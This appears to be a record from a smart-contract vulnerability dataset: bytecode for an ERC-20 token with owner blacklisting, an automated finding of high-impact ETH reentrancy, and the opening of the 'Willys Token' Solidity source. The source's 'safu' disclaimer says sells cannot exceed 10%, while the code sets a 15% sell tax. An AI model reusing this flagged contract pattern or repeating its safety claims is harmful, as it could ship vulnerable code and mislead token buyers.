1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600781526020017f504947494e4a4100000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6002600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208c24bce68c353a444d32269e2ca146d78840639ac72913e38ae5512ebbc4053964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,818
0x30d2Ab277D786c17B947D555169EB8A21C0B01DD
/** *Submitted for verification at Etherscan.io on 2021-12-01 */ /** Telegram: t.me/WillysToken Website: WillysToken.com Total Tokens: 10,000,000,000 Max Wallet: 5% Max transaction: 3% Buys: 10% Sells: 15% */ /** * The contracts crafted by Ultraman Contracts are not liable for the actions of the acting dev (client). * PLEASE MAKE SURE LIQUIDITY IS LOCKED BEFORE BUYING * The contract created below is safu as the following is true: * There is not a pause contract button. * You cannot disable sells. * If the dev chooses to renounce, there is no backdoor. * Sell taxes cannot be raised higher than a designated percent written into the contract and noted as such. * In this case, sells cannot exceed 10% * All info pertaining to the contract will be listed above the disclaimer message. * For further inquiry contact t.me/UltramanContracts */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract WillysToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Willys Token"; string private constant _symbol = "WILLYS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000 * 1e7 * 1e9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //anit-sniper uint256 public tradingActiveBlock = 0; // 0 means trading is not active mapping(address => bool) public boughtEarly; // mapping to track addresses that buy within the first 2 blocks pay a 3x tax for 24 hours to sell uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty //Buy Fee uint256 private _reflectionFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _reflectionFeeOnSell = 0; uint256 private _taxFeeOnSell = 15; //Original Fee uint256 private _reflectionFee = _reflectionFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousReflectionFee = _reflectionFee; uint256 private _previousTaxFee = _taxFee; address payable private _mktgAddress; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 3000 * 1e5 * 1e9; //max transaction set to 3% uint256 public _maxWalletSize = 5000 * 1e5 * 1e9; //max wallet set to 5% uint256 public _swapTokensAtAmount = 1000 * 1e4 * 1e9; //amount of tokens to swap for eth 0.1% //anit-sniper event BoughtEarly(address indexed sniper); event RemovedSniper(address indexed notsnipersupposedly); event MaxTxAmountUpdated(uint256 _maxTxAmount); event SwapTokensAtAmountUpdated(uint256 _swapTokensAtAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable Mktg) { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; 